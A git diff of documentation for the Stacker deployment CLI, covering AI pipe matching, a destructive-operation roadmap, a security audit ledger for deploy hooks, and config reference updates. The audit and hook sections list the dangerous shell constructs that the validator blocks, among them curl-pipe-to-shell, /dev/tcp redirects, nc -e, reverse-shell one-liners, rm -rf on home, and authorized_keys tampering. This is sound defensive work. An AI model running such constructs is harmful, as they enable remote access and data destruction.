+- Proposes which pipe connections make sense between two apps
+- Falls back to deterministic matching if AI call fails
+
+### Mode Selection
+
+| Condition | Mode Used |
+|-----------|-----------|
+| `--no-ai` flag | Deterministic |
+| `--ai` flag | AI (error if not configured) |
+| `ai.enabled=true` in `stacker.yml` | AI |
+| No AI config | Deterministic |
+| `--manual` flag | No auto-matching (manual selection only) |
+
+### CLI Flags
+
+```bash
+# Use AI matching (requires ai: section in stacker.yml)
+stacker pipe create wordpress slack --ai
+
+# Force deterministic matching even if AI is configured
+stacker pipe create wordpress slack --no-ai
+
+# Skip auto-matching entirely
+stacker pipe create wordpress slack --manual
+```
+
+### Configuration
+
+AI matching uses the same `ai:` section in `stacker.yml` as other AI features:
+
+```yaml
+ai:
+  enabled: true
+  provider: openai    # openai | anthropic | ollama
+  model: gpt-4o
+  api_key: sk-...
+  # endpoint: http://localhost:11434  # for Ollama
+```
+
+When AI mode is active during pipe creation:
+1. Both apps are scanned for endpoints (unchanged)
+2. AI suggests which endpoint pairs to connect (ranked by confidence)
+3. User selects from AI suggestions or picks manually
+4. AI matches fields between selected endpoints with confidence scores
+5. User confirms or edits the mapping
+6. Matching metadata (mode, model, confidence, transformations) is stored in the template config
diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md
new file mode 100644
index 00000000..9ad715e5
--- /dev/null
+++ b/docs/ROADMAP.md
@@ -0,0 +1,120 @@
+# Stacker — Development Roadmap
+
+Forward-looking work items. Not yet scheduled unless noted.
+
+---
+
+## Destructive-operation protection (typed confirmation + optional 2FA)
+
+**Status:** Proposed
+**Priority:** High (security / data-loss prevention)
+
+### Problem
+
+Deletion of high-value resources (cloud tokens, servers, deployments, etc.) is
+currently a single API call / CLI command with no guardrail. An accidental or
+malicious call can destroy infrastructure or credentials irreversibly.
+
+### Goal
+
+Every destructive operation must require an explicit, deliberate confirmation
+step before it executes. The strength of that step is **driven by
+configuration**, so operators can tune friction vs. safety per environment.
+
+### Requirements
+
+1. **Typed confirmation (baseline).**
+   Before deletion, the caller must re-enter the resource's own name/identifier
+   manually (not a copy-paste of the id, ideally the human-readable name). The
+   operation is rejected unless the typed value matches exactly.
+   - CLI: interactive prompt (`Type the resource name to confirm: `).
+   - API: require a `confirm_name` field in the request body that must equal
+     the stored resource name.
+
+2. **Configuration-driven policy.**
+   A single config section (in `configuration.yaml`) controls behavior so it can
+   differ between local / staging / production:
+
+   ```yaml
+   safety:
+     destructive_ops:
+       require_typed_confirmation: true      # global on/off
+       require_2fa: true                     # gate below on 2FA when enabled
+       # per-resource overrides
+       resources:
+         cloud_token:   { typed_confirmation: true, require_2fa: true }
+         server:        { typed_confirmation: true, require_2fa: true }
+         deployment:    { typed_confirmation: true, require_2fa: false }
+         project:       { typed_confirmation: true, require_2fa: true }
+   ```
+
+   - Default to **safe** (confirmation on) when a resource is unlisted.
+   - `--yes` / `--force` may bypass the *interactive prompt* only in
+     non-production and only when explicitly allowed by config (never bypass
+     2FA).
+
+3. **2FA gating (when enabled).**
+   For the most sensitive resources, if the user has 2FA enabled the operation
+   must additionally require a fresh TOTP/second-factor challenge. If 2FA is
+   configured as *required* for a resource but the user has none enrolled, the
+   operation is refused with guidance to enroll.
+
+4. **Audit trail.**
+   Log who confirmed, when, what resource, and which factors were satisfied
+   (typed-confirmation ✓ / 2FA ✓). Never log the resource's secret material.
+
+### Resources that must be protected
+
+Enumerated from current delete paths in `src/startup.rs` / `src/routes/**`:
+
+| Resource | Route(s) | Typed confirm | 2FA (if enabled) |
+|---|---|---|---|
+| **Cloud token / credential** | `routes::cloud::delete` | ✅ | ✅ strongly |
+| **Server** | `routes::server::delete` (+ `delete_preview`) | ✅ | ✅ |
+| **Deployment** | deployment delete | ✅ | recommended |
+| **Project** | `routes::project::delete` | ✅ | ✅ |
+| **Project member (access revoke)** | `routes::project::member::delete` | ✅ | recommended |
+| **Server / project secret** | `server::secret::delete`, `project::secret::delete` | ✅ | ✅ |
+| **SSH key** | `server::ssh_key::delete_key` | ✅ | ✅ |
+| **Pipe template / instance** | `pipe::delete_template/instance` | ✅ | recommended |
+
+### Suggested additional resources warranting protection
+
+Beyond deletion, these operations are destructive or security-sensitive enough
+to deserve typed confirmation and/or 2FA:
+
+- **Cloud/Vault token rotation or revocation** — losing a live token can orphan
+  running infrastructure; require 2FA.
+- **Server ownership / SSH key rotation** — changing the key that grants remote
+  access; 2FA + typed confirmation.
+- **Vault secret overwrite / bulk secret push** (`secrets push`) — silently
+  replacing production secrets; require typed confirmation of the target env.
+- **Firewall changes that close public ports / open `0.0.0.0`** — can take an app
+  offline or expose it; confirm the port list.
+- **Transfer of project/organization ownership** — irreversible authority change;
+  2FA.
+- **RBAC / Casbin policy changes** (`access_control.conf` via API) — privilege
+  escalation risk; 2FA + audit.
+- **Deploy/redeploy to production target** with `--force-rebuild` — data-losing
+  restarts; typed confirmation of environment name.
+- **Draining/destroying a cloud VM or downsizing** — same class as server delete.
+- **Marketplace unpublish / template deletion** — affects downstream consumers.
+- **Account-level actions**: disabling 2FA, deleting the user account, revoking
+  all sessions/tokens — each should itself require the *current* second factor.
+
+### Implementation notes
+
+- Introduce a small `ConfirmationPolicy` helper resolved from config, checked in
+  a shared middleware or a guard invoked by each destructive handler — avoid
+  scattering ad-hoc checks.
+- Keep the typed-confirmation contract identical across API and CLI so the CLI is
+  a thin prompt over the same API field.
+- Add validation code(s) and refusal messages consistent with existing E/W
+  codes.
+
+### Open questions
+
+- Where is 2FA enrollment state stored today, and is there an existing TOTP
+  verifier to reuse?
+- Should confirmation be a short-lived signed "confirmation token" (two-step:
+  request → confirm) to avoid TOCTOU between listing and deleting?
diff --git a/docs/SECURITY_AUDIT_HOOKS.md b/docs/SECURITY_AUDIT_HOOKS.md
new file mode 100644
index 00000000..e8942e58
--- /dev/null
+++ b/docs/SECURITY_AUDIT_HOOKS.md
@@ -0,0 +1,144 @@
+# Security Audit — Shell Hook Execution
+
+Post-audit ledger for the deploy-hook subsystem (`pre_build`, `post_deploy`, `on_failure`). Documents the concerns raised during the audit, how each was resolved, and where the regression tests live.
+
+For the user-facing execution contract (path rules, trust model, CLI flags, error behaviour) see [`docs/STACKER_YML_REFERENCE.md` § `hooks`](STACKER_YML_REFERENCE.md#hooks).
+
+## Scope
+
+The audit covered the code path added when hook support landed on the `dev` branch:
+
+- `src/console/commands/cli/deploy.rs` — `run_hook`, the deploy pipeline `match` block, `DeployCommand` CLI plumbing, `sanitize_hook_output`.
+- `src/cli/install_runner.rs` — `CommandExecutor` trait, `ShellExecutor::execute_with_timeout`, `drain_capped`, `HookPolicy`, `HOOK_PIPE_OUTPUT_MAX_BYTES`.
+- `src/cli/config_parser.rs` — `StackerConfig::origin`, `ConfigOrigin`, `MARKETPLACE_ORIGIN_MARKER`, `detect_origin_from_raw`.
+- `src/console/commands/cli/marketplace.rs` — `prepend_marketplace_marker`, install write sites.
+- `src/helpers/security_validator.rs` — `validate_shell_scripts`, `SHELL_MALICIOUS_PATTERNS`, credential/miner scanners.
+- `src/cli/error.rs` — `CliError::HookRejected` variant.
+- `src/bin/stacker.rs` — `--no-hooks` / `--allow-untrusted-hooks` CLI flags.
+
+## Status ledger
+
+Severity classes follow the audit report: **C** = critical, **H** = high, **M** = medium, **L** = low, **Docs** = documentation.
+
+| ID  | Concern                                                   | Status                                                                                   |
+|-----|-----------------------------------------------------------|------------------------------------------------------------------------------------------|
+| C1  | `validate_shell_scripts` dead code                        | Wired into `run_hook` for all three hook slots                                            |
+| C2  | Timeout doesn't kill                                      | `Child::spawn` + `try_wait` deadline + `kill` + `wait`                                    |
+| C3  | Path traversal / absolute / symlink                       | `canonicalize` + `starts_with(project_dir)` + reject absolute                             |
+| C4  | Marketplace-controlled `stacker.yml` hooks                | `# @stacker-origin: marketplace` marker + `HookPolicy` + two CLI flags                    |
+| H1 → Phase 6b | Rejection vs runtime taxonomy                | `CliError::HookRejected` split; deploy pipeline classifies                                |
+| H2  | Env var leakage into hook                                 | `env_clear` + `PATH` / `HOME` allowlist                                                   |
+| H3  | Wrong CWD                                                 | `current_dir(project_dir)`                                                                |
+| M1  | Broken regexes                                            | `bash <(curl…)` fixed; +setuid, `rm -rf $HOME/~`, py/perl revshells, `authorized_keys`   |
+| M2  | UTF-8 panic in `content.to_lowercase()` sites             | Both fixed via `RegexBuilder::case_insensitive`                                           |
+| M3  | Base64 warning noise                                      | Threshold 200 → 1024 at scan site; 100 → 1024 at malicious-code site                      |
+| M4  | Unbounded output capture                                  | Phase 8b pipe-level cap + Phase 8 display-level cap                                       |
+| M5  | Raw ANSI printed                                          | `strip_ansi_sequences` at print + error-reason boundaries                                 |
+| L1  | Test-artefact files at repo root                          | Already in `.gitignore`                                                                   |
+| L2 / L3 | Sizing / encoding                                     | Handled by pipe drain + sanitizer                                                         |
+| L4  | `--no-hooks` / `--allow-untrusted-hooks`                  | Shipped with C4                                                                           |
+| Docs | Hook execution contract                                  | [`STACKER_YML_REFERENCE.md` § `hooks`](STACKER_YML_REFERENCE.md#hooks) — 128 lines         |
+
+## Notes on individual findings
+
+### C1 — validator was dead code
+
+The audit found the fresh `validate_shell_scripts` function was compiled but only ever called by its own tests. Fixed by inserting a call in `run_hook` before executor invocation. Any `[CRITICAL]` finding becomes `CliError::HookRejected`; `[WARNING]` findings are printed to stderr but do not block.
+
+### C2 — timeout was cosmetic
+
+The original `execute_with_timeout` used `std::thread::scope` around a blocking `Command::output()`. The scope's implicit join meant the outer function only returned once the child exited — so the "300-second timeout" never actually terminated anything. Replaced with `Command::spawn` returning a `Child` handle, a `try_wait` deadline loop, and explicit `child.kill()` + `child.wait()` on timeout. Verified by the ignored real-`sleep` test `test_execute_with_timeout_actually_terminates_child`.
+
+### C3 — path rules
+
+- Absolute paths are rejected outright.
+- Relative paths are `canonicalize()`d.
+- The result must `starts_with()` the canonicalized project directory.
+- `symlink_metadata()` used in place of `exists()` so symlinks pointing outside the project are detected.
+
+Rejection short-circuits before the executor is invoked.
+
+### C4 — marketplace trust
+
+`stacker install <template>` prepends `# @stacker-origin: marketplace` to any `stacker.yml` it writes. `StackerConfig::from_file` scans the leading comment block for that marker and sets `origin: ConfigOrigin::MarketplaceGenerated`. `run_hook` refuses to execute against a marketplace-origin config unless the operator passes `--allow-untrusted-hooks` (or removes the marker line after review). `--no-hooks` skips execution regardless of trust.
+
+### Phase 6b — H1 error taxonomy split
+
+Two orthogonal failure modes for hooks:
+
+- **Rejection** (pre-execution): path/policy/security scan refused the hook.
+- **Runtime failure** (post-execution): script exited non-zero, or timed out.
+
+The deploy pipeline treats these differently:
+
+| Hook        | Rejection                                                            | Runtime failure                                    |
+|-------------|----------------------------------------------------------------------|----------------------------------------------------|
+| `pre_build` | Deploy fails.                                                        | Deploy fails.                                      |
+| `post_deploy` | Deploy fails.                                                      | Warning logged; deploy stays `Ok`.                 |
+| `on_failure` | Original error preserved, rejection chained into the message.       | Warning logged; original error preserved.          |
+
+This is the asymmetry that keeps `post_deploy` / `on_failure` best-effort for legitimate notification / cleanup use cases while ensuring a malicious hook can't be swallowed by a successful deploy.
+
+### H2 — environment scrubbing
+
+`ShellExecutor::execute_with_timeout` calls `Command::env_clear()` before adding back `PATH=/usr/bin:/bin:/usr/local/bin` and `HOME=<inherited>`. Cloud tokens, Docker registry credentials, `GH_TOKEN`, `OPENAI_API_KEY`, and every other secret that lives in the deploying user's shell environment are invisible to hook scripts.
+
+### H3 — working directory
+
+Hooks now execute with `current_dir(project_dir)` set on the `Command`. Previously they inherited the CLI's own CWD.
+
+### M1 — regex fixes and gaps
+
+- `bash <(curl|wget)` regex was checking for a literal `<` followed by a capture group — misparsed. Now `bash\s+<\(?(curl|wget)`.
+- Added: `chmod u+s`, `chmod g+s`, `rm -rf $HOME`, `rm -rf ~/`, Python one-liner reverse shells (`socket…connect…dup2…pty.spawn`), Perl one-liner reverse shells (`use Socket`), any reference to `authorized_keys`.
+
+### M2 — UTF-8 panic sites
+
+Both places that used `content.to_lowercase()` + `find()` / `contains()` (crypto miner scanner in `check_no_malicious_code` and `validate_shell_scripts`, plus the default-credential check in `check_no_hardcoded_creds`) allocated a fresh lowercase String and then indexed the *original* content with byte offsets from the lowercase copy. For inputs where lowercasing shrinks the byte length (e.g. `ẞ` → `ß`), the returned offset landed mid-UTF-8-sequence in the original and panicked. All three sites now use `RegexBuilder::new(&regex::escape(pattern)).case_insensitive(true)` on the original content — no lowercased shadow exists.
+
+### M3 — base64 warning threshold
+
+`validate_shell_scripts` had a `{200,}` threshold that fired on every PEM cert body, JWT, or dockerconfigjson blob. Bumped to `{1024,}`. `check_no_malicious_code` had the sibling `{100,}` threshold; also bumped to `{1024,}` for consistency.
+
+### M4 / M5 — output caps and ANSI
+
+Two-layer defence:
+
+1. **Pipe layer** (`ShellExecutor::execute_with_timeout` → `drain_capped`) — each pipe drained in its own thread with a hard byte cap (`HOOK_PIPE_OUTPUT_MAX_BYTES = 1_049_600`). Bytes past the cap are read and discarded so the child never blocks on a full pipe; nothing beyond the cap is ever held in the CLI's memory.
+2. **Display layer** (`sanitize_hook_output` in `deploy.rs`) — strips ANSI CSI, OSC, single-char ESC sequences, and stray BEL, then truncates at `HOOK_OUTPUT_MAX_BYTES = 1_048_576` with the marker `\n[stacker: hook output truncated to 1 MiB]`.
+
+Both are invoked unconditionally, so a hook can neither OOM the CLI nor hijack the terminal via escape sequences.
+
+## Test coverage
+
+Regression tests are colocated with the code they protect. Locations:
+
+| Area                              | File                                                        |
+|-----------------------------------|-------------------------------------------------------------|
+| Validator regex + panic sites     | `src/helpers/security_validator.rs` (tests module)          |
+| Path / content / policy rejection | `src/console/commands/cli/deploy.rs` (tests module)         |
+| Trust marker + `HookPolicy`       | `src/console/commands/cli/deploy.rs` (`test_c4_*` tests)    |
+| Phase 6b error taxonomy           | `src/console/commands/cli/deploy.rs` (post_deploy / on_failure) |
+| Output sanitizer                  | `src/console/commands/cli/deploy.rs` (`test_sanitize_*`)    |
+| Real timeout + pipe cap           | `src/cli/install_runner.rs` (marked `#[ignore]`)            |
+
+The three pipe-cap tests and the two timeout tests spawn real subprocesses and are gated with `#[ignore]`. Run them explicitly with:
+
+```bash
+cargo test -p stacker --lib -- --ignored
+```
+
+Everything else runs on the default suite.
+
+## Non-goals
+
+Explicitly out of scope for this audit — noted here so future contributors don't assume they are addressed:
+
+- **Remote hook execution.** Only local hooks (invoked by `stacker deploy`) are covered. The server-side `post_deploy_hooks` JSONB payload and Install Service execution paths are separate concerns.
+- **Sandbox / seccomp.** Hooks execute in the same UID/GID as the CLI. Environment scrubbing and CWD pinning are the only isolation applied. Deploys that need stronger isolation should run the CLI itself inside a container.
+- **Runtime output tee to file.** Captured output is capped and displayed; no on-disk transcript is kept. If forensics need this, the operator should wrap the hook in `tee`.
+
+## Related documents
+
+- [`STACKER_YML_REFERENCE.md` § `hooks`](STACKER_YML_REFERENCE.md#hooks) — user-facing execution contract.
+- [`AI_DEPLOYMENT_WORKFLOWS.md`](AI_DEPLOYMENT_WORKFLOWS.md) — how hooks compose with the AI deploy scenario.
diff --git a/docs/STACKER_YML_REFERENCE.md b/docs/STACKER_YML_REFERENCE.md
index a19ab23d..ad2687a2 100644
--- a/docs/STACKER_YML_REFERENCE.md
+++ b/docs/STACKER_YML_REFERENCE.md
@@ -1,6 +1,6 @@
 # stacker.yml Configuration Reference
 
-> **Stacker CLI v0.2.6** — The single-file deployment configuration for containerised applications.
+> **Stacker CLI v0.3** — The single-file deployment configuration for containerised applications.
 
 `stacker.yml` is the only file you need to add to your project. Stacker reads it to auto-generate Dockerfiles, docker-compose definitions, and deploy your application locally or to cloud infrastructure.
 
@@ -12,7 +12,7 @@
 - [Minimal Example](#minimal-example)
 - [Full Example](#full-example)
 - [Top-Level Fields](#top-level-fields)
-  - [name](#name) · [version](#version) · [organization](#organization)
+  - [name](#name) · [version](#version) · [organization](#organization) · [project](#project)
 - [app — Application Source](#app)
   - [type](#apptype) · [path](#apppath) · [dockerfile](#appdockerfile) · [image](#appimage) · [build](#appbuild) · [ports](#appports) · [volumes](#appvolumes) · [environment](#appenvironment)
 - [services — Sidecar Containers](#services)
@@ -20,6 +20,10 @@
   - [type](#proxytype) · [auto_detect](#proxyauto_detect) · [domains](#proxydomains) · [config](#proxyconfig)
 - [deploy — Deployment Target](#deploy)
   - [target](#deploytarget) · [compose_file](#deploycompose_file) · [cloud](#deploycloud) · [server](#deployserver)
+- [install — Marketplace Install Inputs](#install)
+- [environments — Named Environments](#environments)
+- [volumes — Named Volumes](#volumes)
+- [config_contract — Service Config Contracts](#config_contract)
 - [ai — AI Assistant](#ai)
 - [monitoring — Health & Metrics](#monitoring)
   - [status_panel](#monitoringstatus_panel) · [healthcheck](#monitoringhealthcheck) · [metrics](#monitoringmetrics)
@@ -33,7 +37,7 @@
   - [SSH Key Management](#stacker-ssh-key--ssh-key-management)
   - [Service Template Catalog](#stacker-service--service-template-catalog)
   - [Agent Control](#stacker-agent--agent-control)
-  - [Firewall Management](#firewall-management--iptables)
+  - [Firewall Management](#firewall-management)
 - [Recipes](#recipes)
 - [FAQ](#faq)
 
@@ -49,6 +53,9 @@ curl -fsSL https://stacker.try.direct/install.sh | bash
 cd my-project
 stacker init
 
+# 2a. Or generate from any GitHub repo (no clone required)
+stacker init --from-github owner/repo
+
 # 3. Review the generated config
 cat stacker.yml
 
@@ -90,6 +97,9 @@ name: my-saas-app
 version: "2.0"
 organization: acme-corp
 
+project:
+  identity: my-saas-app
+
 app:
   type: node
   path: ./src
@@ -113,11 +123,17 @@ services:
       POSTGRES_PASSWORD: ${DB_PASSWORD}
     volumes:
       - pgdata:/var/lib/postgresql/data
+    healthcheck:
+      test: "CMD pg_isready -U app"
+      interval: 10s
+      timeout: 5s
+      retries: "5"
 
   - name: redis
     image: redis:7-alpine
     ports:
       - "6379:6379"
+    command: redis-server --requirepass "${REDIS_PASSWORD}"
 
   - name: worker
     image: myapp-worker:latest
@@ -140,11 +156,24 @@ proxy:
 
 deploy:
   target: cloud
+  environment: production
   cloud:
     provider: hetzner
     region: fsn1
-    size: cpx21
+    size: cx23
     ssh_key: ~/.ssh/id_ed25519
+    public_ports:
+      - "80"
+      - "443"
+      - "8080"
+
+environments:
+  production:
+    compose_file: docker/production/compose.yml
+    env_file: .env
+  staging:
+    compose_file: docker/staging/compose.yml
+    env_file: .env.staging
 
 ai:
   enabled: true
@@ -170,6 +199,9 @@ hooks:
   post_deploy: ./scripts/post-deploy.sh
   on_failure: ./scripts/notify-failure.sh
 
+volumes:
+  pgdata: {}
+
 env_file: .env
 
 env:
@@ -212,6 +244,23 @@ Organisation slug. Used for scoping cloud deployments and linking to your TryDir
 organization: acme-corp
 ```
 
+### `project`
+
+*Optional* · `object` · Default: none
+
+Project-level metadata. Currently carries a single `identity` field used to pin a deployment to a specific project slug in the TryDirect backend, overriding name-based resolution.
+
+| Field | Type | Required | Default | Description |
+|-------|------|----------|---------|-------------|
+| `identity` | `string` | no | — | Stable project identifier (slug) for multi-deployment projects |
+
+```yaml
+project:
+  identity: my-saas-app
+```
+
+> **When to use:** Set `project.identity` when you rename a project or when multiple `stacker.yml` files must refer to the same backend project. Without it, the backend resolves project identity from `name`.
+
 ---
 
 ## `app`
@@ -358,6 +407,45 @@ Additional containers deployed alongside your main application — databases, ca
 | `environment` | `map<string, string>` | no | `{}` | Environment variables |
 | `volumes` | `string[]` | no | `[]` | Volume mounts (`"name:/path"` or `"./host:/container"`) |
 | `depends_on` | `string[]` | no | `[]` | Services this depends on (started first) |
+| `command` | `string` | no | — | Override the container's default command / entrypoint |
+| `healthcheck` | `object` | no | — | Docker health check for this service |
+
+#### `services[].command`
+
+Overrides the Docker image's default `CMD`. The value is passed verbatim to `docker-compose.yml` as the `command:` key, so you can use shell syntax.
+
+```yaml
+services:
+  - name: redis
+    image: redis:7-alpine
+    command: redis-server --save 20 1 --loglevel warning --requirepass "${REDIS_PASSWORD}"
+```
+
+#### `services[].healthcheck`
+
+Docker health check configuration. Mapped directly to the compose `healthcheck:` block. Used by `depends_on` condition-based startup ordering and by the Status Panel agent for container readiness checks.
+
+| Field | Type | Default | Description |
+|-------|------|---------|-------------|
+| `test` | `string` | — | Health check command (e.g. `"CMD pg_isready -U postgres"`) |
+| `interval` | `string` | `30s` | Time between checks |
+| `timeout` | `string` | `30s` | Maximum time per check |
+| `retries` | `string \| integer` | `3` | Number of failures before unhealthy |
+
+```yaml
+services:
+  - name: postgres
+    image: postgres:16-alpine
+    environment:
+      POSTGRES_PASSWORD: "${DB_PASSWORD}"
+    volumes:
+      - db_data:/var/lib/postgresql/data
+    healthcheck:
+      test: "CMD-SHELL pg_isready -U postgres"
+      interval: 10s
+      timeout: 5s
+      retries: "5"
+```
 
 ```yaml
 services:
@@ -501,6 +589,8 @@ deploy:
   target: local
 ```
 
+> **Pipe mode**: The `deploy.target` value also affects how `stacker pipe` commands behave. When target is `local`, pipes are created without a `deployment_hash` and execute against local Docker containers (`docker exec`). Use `stacker target` to switch modes at runtime without editing `stacker.yml`. See the [DAG Pipes CLI Guide — Local Mode](./DAG_PIPES_PART1_CLI_GUIDE.md#local-mode-experimental) for details.
+
 ### `deploy.compose_file`
 
 *Optional* · `string` (path) · Default: none
@@ -513,6 +603,25 @@ deploy:
   compose_file: ./docker-compose.prod.yml
 ```
 
+### `deploy.environment`
+
+*Optional* · `string` · Default: none
+
+The active named environment (profile) to use for this deployment. Must match a key defined under the top-level [`environments`](#environments) section. When set, Stacker resolves the `compose_file` and `env_file` from that environment block instead of the global defaults.
+
+```yaml
+deploy:
+  target: local
+  environment: production
+```
+
+Switch environments at runtime without editing `stacker.yml`:
+
+```bash
+stacker env production        # persist active env for this project
+stacker deploy --env staging  # one-shot override
+```
+
 ### `deploy.cloud`
 
 *Required when `target: cloud`* · `object`
@@ -525,12 +634,44 @@ Cloud infrastructure provisioning settings. Stacker uses Terraform/Ansible under
 | `region` | `string` | no | Provider default | Data center region |
 | `size` | `string` | no | Provider default | Server size/type |
 | `ssh_key` | `string` (path) | no | none | Path to SSH private key |
+| `public_ports` | `string[]` | no | `[]` | Ports to open in the cloud-provider firewall after provisioning |
+| `orchestrator` | `enum` | no | `local` | Deployment orchestration mode (`local` or `remote`) |
+| `key` | `string` | no | none | Vault key reference used to authenticate with the provider |
+
+**`deploy.cloud.public_ports`**
+
+A list of host ports (or `port/protocol` pairs) that Stacker opens in the cloud-provider firewall immediately after the server is provisioned. Without this, the firewall only allows SSH (port 22). Use `stacker cloud firewall add` to open ports post-deploy without re-deploying.
+
+```yaml
+deploy:
+  target: cloud
+  cloud:
+    provider: hetzner
+    region: fsn1
+    size: cpx22
+    public_ports:
+      - "8000"        # HTTP app port
+      - "80"          # Nginx proxy
+      - "8053/tcp"    # DNS over TCP
+      - "8053/udp"    # DNS over UDP
+```
+
+**`deploy.cloud.orchestrator`**
+
+Controls where the deployment orchestration runs:
+
+| Value | Description |
+|-------|-------------|
+| `local` | Default — Terraform/Ansible runs on the local machine |
+| `remote` | Orchestration is handed off to the TryDirect Install Service |
+
+Remote orchestration is used for marketplace-managed deploys (`stacker install`). Most projects use the default `local` mode.
 
 **Supported cloud providers:**
 
 | Value | Provider | Example Regions | Example Sizes |
 |-------|----------|----------------|---------------|
-| `hetzner` | Hetzner Cloud | `fsn1`, `nbg1`, `hel1` | `cpx21`, `cpx31`, `cpx41` |
+| `hetzner` | Hetzner Cloud | `fsn1`, `nbg1`, `hel1` | `cx23`, `cx33`, `cx43` |
 | `digitalocean` | DigitalOcean | `nyc1`, `sfo3`, `ams3` | `s-1vcpu-1gb`, `s-2vcpu-4gb` |
 | `aws` | Amazon Web Services | `us-east-1`, `eu-west-1` | `t3.micro`, `t3.small` |
 | `linode` | Linode (Akamai) | `us-east`, `eu-west` | `g6-nanode-1`, `g6-standard-2` |
@@ -542,7 +683,7 @@ deploy:
   cloud:
     provider: hetzner
     region: fsn1
-    size: cpx21
+    size: cx23
     ssh_key: ~/.ssh/id_ed25519
 ```
 
@@ -580,6 +721,14 @@ Docker registry credentials for pulling private images during cloud/server deplo
 
 Credentials can be specified in `stacker.yml` or via environment variables. Environment variables take precedence.
 
+For deployments managed by the Status agent, Stacker also persists this auth in
+its trusted secret storage and reuses it for later image refreshes such as
+`stacker agent deploy-app`. The agent performs the pull with a temporary Docker
+auth directory and immediate cleanup, so private-image redeploys do not depend
+on whatever `docker login` state happens to exist on the host. If no stored
+registry auth exists, Stacker keeps the current anonymous-pull behavior and may
+still redeploy successfully when the image is already cached locally.
+
 | Field | Type | Required | Default | Description |
 |-------|------|----------|---------|-------------|
 | `username` | `string` | **yes** | — | Registry username |
@@ -600,17 +749,119 @@ deploy:
   cloud:
     provider: hetzner
     region: fsn1
-    size: cpx21
+    size: cx23
   registry:
     username: "${DOCKER_USERNAME}"
     password: "${DOCKER_PASSWORD}"
-    # server: "https://index.docker.io/v1/"  # Docker Hub (default)
+    # server: "docker.io"  # Docker Hub (default)
 ```
 
 > **Security tip:** Use environment variables or `${VAR}` syntax to keep credentials out of version control.
 
 ---
 
+## `install`
+
+*Optional* · `object` · Default: none
+
+Install-specific inputs used by `stacker install <slug>`. These values are
+merged with CLI flags such as `--domain` and `--set`, then sent to Stacker API
+and Install Service as install render inputs.
+
+```yaml
+install:
+  inputs:
+    commonDomain: example.com
+    admin_email: admin@example.com
+```
+
+`commonDomain` is the Install Service base-domain field. For convenience,
+`base_domain` and the CLI flag `--domain example.com` are normalized to
+`commonDomain`.
+
+CLI overrides take precedence over this section:
+
+```bash
+stacker install wordpress --domain example.com --set admin_email=owner@example.com
+```
+
+---
+
+## `environments`
+
+*Optional* · `map<string, object>` · Default: `{}`
+
+Named environment profiles. Each key is an environment name (e.g. `production`, `staging`). When [`deploy.environment`](#deployenvironment) is set to a key, Stacker loads that profile's `compose_file` and `env_file` instead of the global defaults.
+
+| Field | Type | Required | Default | Description |
+|-------|------|----------|---------|-------------|
+| `compose_file` | `string` (path) | no | — | Compose file for this environment |
+| `env_file` | `string` (path) | no | — | `.env` file for this environment |
+
+```yaml
+environments:
+  production:
+    compose_file: docker/production/compose.yml
+    env_file: .env
+  staging:
+    compose_file: docker/staging/compose.yml
+    env_file: .env.staging
+```
+
+Combined with `deploy.environment`:
+
+```yaml
+deploy:
+  target: local
+  environment: production
+
+environments:
+  production:
+    compose_file: docker/production/compose.yml
+    env_file: .env
+```
+
+> **Note:** `stacker env <name>` persists the active environment to `.stacker/active-env` so subsequent commands (`stacker deploy`, `stacker agent deploy-app`, `stacker secrets push`) pick it up automatically.
+
+---
+
+## `volumes`
+
+*Optional* · `map<string, object>` · Default: `{}`
+
+Top-level named Docker volumes shared across services. Equivalent to the `volumes:` block in `docker-compose.yml`. Each key is the volume name; the value is a volume configuration object (typically empty `{}` for the default local driver).
+
+```yaml
+volumes:
+  ollama: {}
+  pgdata: {}
+  redis_data:
+    driver: local
+```
+
+Named volumes referenced in `app.volumes` or `services[].volumes` but not listed here are created implicitly by Docker Compose. Use this section when you need to configure the volume driver or share a volume name explicitly across services.
+
+---
+
+## `config_contract`
+
+*Optional* · `object` · Default: none
+
+Declares service-level configuration contracts — metadata consumed by the TryDirect Install Service and marketplace pipeline to validate and pre-populate service inputs. Not used during local deploys.
+
+```yaml
+config_contract:
+  services:
+    my-service:
+      required_env:
+        - DATABASE_URL
+        - SECRET_KEY
+```
+
+> This section is primarily written by `stacker install` and the marketplace generator. You rarely need to set it by hand.
+
+---
+
 ## `ai`
 
 *Optional* · `object` · Default: `enabled: false`
@@ -624,7 +875,7 @@ AI/LLM assistant configuration. When enabled, `stacker ai ask` uses the configur
 | `model` | `string` | no | Provider default | Model name |
 | `api_key` | `string` | no* | none | API key (supports `${VAR}` syntax) |
 | `endpoint` | `string` | no | Provider default | Custom API endpoint URL |
-| `timeout` | `integer` | no | `300` | Request timeout in seconds (increase for slow models / weak hardware) |
+| `timeout` | `integer` | no | `300` | Request timeout in seconds. Set to `0` to disable the timeout entirely (useful for large local models). |
 | `tasks` | `string[]` | no | `[]` | Allowed AI task types |
 
 **Supported providers:**
@@ -689,6 +940,10 @@ monitoring:
   status_panel: true
 ```
 
+If you install the agent later with `stacker agent install`, the CLI does **not** modify local
+`stacker.yml` by default. Pass `--persist-config` to also write
+`monitoring.status_panel: true` back into the local config file.
+
 ### `monitoring.healthcheck`
 
 *Optional* · `object` · Default: none
@@ -746,7 +1001,111 @@ hooks:
   on_failure: ./scripts/alert-team.sh
 ```
 
-> Hook scripts must be executable (`chmod +x`).
+> Hook scripts run under `sh`, not the shebang. Use POSIX shell features or explicitly `exec` a different interpreter from inside the script.
+
+### Execution contract
+
+Everything below is enforced by the CLI at hook execution time, not by convention.
+
+#### Path resolution
+
+- Hook paths are relative to the project directory (the directory containing `stacker.yml`).
+- Absolute paths are **rejected**.
+- Paths containing `..` are **rejected** after canonicalization if the resolved path escapes the project directory.
+- Symlinks that point outside the project directory are **rejected** — the CLI uses `symlink_metadata`, not just `exists()`.
+- Missing scripts are **rejected**, with the resolved path in the error message.
+
+Rejection at the path-resolution stage means the executor is never invoked. Nothing runs.
+
+#### Content validation
+
+Before invocation, the script's contents are scanned against a fixed pattern set for known dangerous constructs. Any `[CRITICAL]` match refuses the hook. Current critical patterns include:
+
+- Remote script execution (`curl … | sh`, `bash <(curl …)`, base64 → shell)
+- Bash TCP/UDP redirects (`/dev/tcp/`, `/dev/udp/`) and `nc -e` / `ncat -e`
+- Recursive delete on root or home (`rm -rf /`, `rm -rf $HOME`, `rm -rf ~/`)
+- `chmod u+s` / `g+s` (setuid / setgid installation)
+- Python or Perl reverse-shell one-liners
+- References to `authorized_keys`, `pastebin.com`, `hastebin.com`
+- Known crypto miner names (xmrig, minerd, etc.)
